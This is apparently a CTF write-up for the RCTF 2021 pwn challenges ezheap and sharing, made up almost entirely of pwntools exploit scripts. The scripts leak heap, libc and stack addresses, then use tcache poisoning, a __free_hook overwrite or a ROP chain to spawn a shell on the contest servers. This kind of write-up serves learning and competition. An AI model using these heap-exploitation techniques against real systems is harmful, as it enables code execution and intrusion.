[RCTF 2021] Pwn题解 - ezheap, sharing
ezheap
题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开
手动恢复出来了部分相关结构体:
远程EXP:
from pwn import *
import struct
#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"
BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4
def alloc(a_type:int, size:int, idx:int):
p.sendlineafter(b"enter your choice>>\n", b"1")
p.sendlineafter(b"which type >>\n", str(a_type).encode())
p.sendlineafter(b"size>>\n", str(size).encode())
p.sendlineafter(b"idx>>\n", str(idx).encode())
def edit(a_type:int, idx:int, ele_idx:int, value):
p.sendlineafter(b"enter your choice>>\n", b"2")
p.sendlineafter(b"which type >>\n", str(a_type).encode())
p.sendlineafter(b"idx>>\n", str(idx).encode())
p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
p.sendlineafter(b"value>>\n", value)
def view(a_type:int, idx:int, ele_idx:int):
p.sendlineafter(b"enter your choice>>\n", b"3")
p.sendlineafter(b"which type >>\n", str(a_type).encode())
p.sendlineafter(b"idx>>\n", str(idx).encode())
p.sendlineafter(b"element_idx>>\n", str(ele_idx).encode())
def delete(a_type:int, idx:int):
p.sendlineafter(b"enter your choice>>\n", b"4")
p.sendlineafter(b"which type >>\n", str(a_type).encode())
p.sendlineafter(b"idx>>\n", str(idx).encode())
# base: 0xf7fc7000
# uint16: 0xf7fc7000+0x4040
# uint8: 0xf7fc7000+0x5040
# uint32: 0xf7fc7000+0x6040
# float: 0xf7fc7000+0x7040
# 0xf7fc7000+0x9060
def exp():
# leak new_heap_addr
## chain
alloc(UINT32_ARR, 0xff8, 0)
alloc(UINT32_ARR, 0xff8, 1)
## free chain
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
## show ptr
alloc(UINT32_ARR, 0xff8, 4) # help chunk
view(UINT32_ARR, 4, 0)
p.recvuntil(b"value>>\n")
leak_addr = int(p.recvuntil(b"\n", drop=True), 10)
libc_base = (leak_addr & 0xfffff000) + 0x5000
system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
one_gadget = libc_base + 0x13563f
print("leak_addr:", hex(leak_addr))
print("libc_base:", hex(libc_base))
## padding, no use
alloc(UINT32_ARR, 0x100, 5)
# leak elf_base
alloc(UINT32_ARR, 0x4, 0)
alloc(UINT32_ARR, 0x4, 1)
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
target_header = libc_base - 0x10000
pre_leak_addr = target_header + 0x18 # contant elf addr
fake_chunk_hdr = target_header | (0x4+0x4)
print("target_header:", hex(target_header))
print("pre_leak_addr:", hex(pre_leak_addr))
print("fake_chunk_hdr:", hex(fake_chunk_hdr))
float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(pre_leak_addr))[0]
print("float_payload:", float_payload)
for i in range(0x800):
edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
alloc(UINT32_ARR, 0x4, 2)
alloc(UINT32_ARR, 0x4, 3)
view(UINT32_ARR, 3, 0)
p.recvuntil(b"value>>\n")
elf_leak = int(p.recvuntil(b"\n", drop=True), 10)
elf_base = elf_leak - 0x9060
atoll_got = elf_base + elf.got["atoll"]
## build help_chunk
alloc(UINT32_ARR, 0x2000, 6) # help chunk
uint32_item_5 = elf_base + 0x6054
help_chunk = libc_base - 0x16000
print("uint32_item_5:", hex(uint32_item_5))
print("elf_leak:", hex(elf_leak))
print("elf_base:", hex(elf_base))
#gdb.attach(p)
#pause()
# attack uint32_array
alloc(UINT32_ARR, 0x4, 0)
alloc(UINT32_ARR, 0x4, 1)
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
float_payload = struct.unpack("<d", p32(fake_chunk_hdr)+p32(uint32_item_5-4))[0]
print("float_payload:", float_payload)
for i in range(0x800):
edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
alloc(UINT32_ARR, 0x4, 2)
alloc(UINT32_ARR, 0x4, 3)
edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
print("help_chunk:", hex(help_chunk))
print("uint32_item_5:", hex(uint32_item_5))
# leak stack && build rop
envrion = libc_base + libc.symbols["environ"]
print("envrion:", hex(envrion))
edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
## leak environ
view(UINT32_ARR, 5, 0)
p.recvuntil(b"value>>\n")
stack_leak = int(p.recvuntil(b"\n", drop=True), 10)
main_ret = stack_leak - 0xa4
## build fake array
edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
## write rop
edit(UINT32_ARR, 5, 0, str(system).encode()) # system
edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
print("main_ret:", hex(main_ret))
p.sendline(b"5") # exit
p.sendline("cat flag")
p.interactive()
if __name__ == "__main__":
exp()
sharing
C++题,祖传盲调手艺不能丢😁,逆向去tm
from pwn import *
#p = process("./sharing", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("124.70.137.88", 30000)
elf = ELF("./sharing")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
context.arch = "amd64"
hint_str = p32(0x2F767991)+p32(0)*3
def add(idx:int, size:int):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Idx: ", str(idx).encode())
p.sendlineafter(b"Sz: ", str(size).encode())
def send(_from:int, _to:int):
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"From: ", str(_from).encode())
p.sendlineafter(b"To: ", str(_to).encode())
def show(idx:int):
p.sendlineafter(b"Choice: ", b"3")
p.sendlineafter(b"Idx: ", str(idx).encode())
def edit(idx:int, content):
p.sendlineafter(b"Choice: ", b"4")
p.sendlineafter(b"Idx: ", str(idx).encode())
p.sendlineafter(b"Content: ", content)
def hint(addr:int):
p.sendlineafter(b"Choice: ", b"57005")
p.sendlineafter(b"Hint: ", hint_str)
p.sendlineafter(b"Addr: ", str(addr).encode())
# base: 0x0000555555554000
# 0x0000555555554000+0x207260
def exp():
#gdb.attach(p, "b *0x0000555555554000+0x1ce8\nc\n") #hint
# leak heap
## build 0x30 free chain
add(0, 0x20)
add(1, 0x20)
add(0, 0x30)
add(1, 0x30)
## leak value
add(2, 0x20)
show(2)
heap_leak = u64(p.recv(8))
heap_base = heap_leak - 0x135d0 # maybe diff
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# leak libc
add(3, 0x410)
add(4, 0x10)
add(3, 0x10)
## leak value
add(3, 0x410)
show(3)
libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
__free_hook = libc_base + libc.symbols[b"__free_hook"]
system = libc_base + libc.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
# uaf attack
## build 0x50 free chain (target)
add(5, 0x40)
add(6, 0x40)
add(5, 0x70)
add(6, 0x70)
## sender
add(7, 0x10)
edit(7, b"from")
## receiver
add(8, 0x10)
edit(8, b"to")
## modify receiver
receiver_obj = heap_base + 0x13dd0
receiver_content_ptr = receiver_obj + 0x18
dec_times_1 = 0xb0 // 2
dec_times_2 = (0xe-0xc) // 2
### dec the first byte
for i in range(dec_times_1):
hint(receiver_content_ptr)
### dec the second byte
for i in range(dec_times_2):
hint(receiver_content_ptr+1)
### modify tcache key
tcache_key_addr = heap_base + 0x13c58
hint(tcache_key_addr)
print("tcache_key_addr:", hex(tcache_key_addr))
print("receiver_obj:", hex(receiver_obj))
print("receiver_content_ptr:", hex(receiver_content_ptr))
## send && rewrite tcache bin
send(7, 8)
add(9, 0x40)
edit(9, p64(__free_hook))
## get free_hook
add(10, 0x40)
add(11, 0x40) # free_hook
edit(11, p64(system))
print("__free_hook:", hex(__free_hook))
print("system:", hex(system))
# get shell
add(12, 0x10)
edit(12, b"/bin/sh\x00")
add(12, 0x10)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()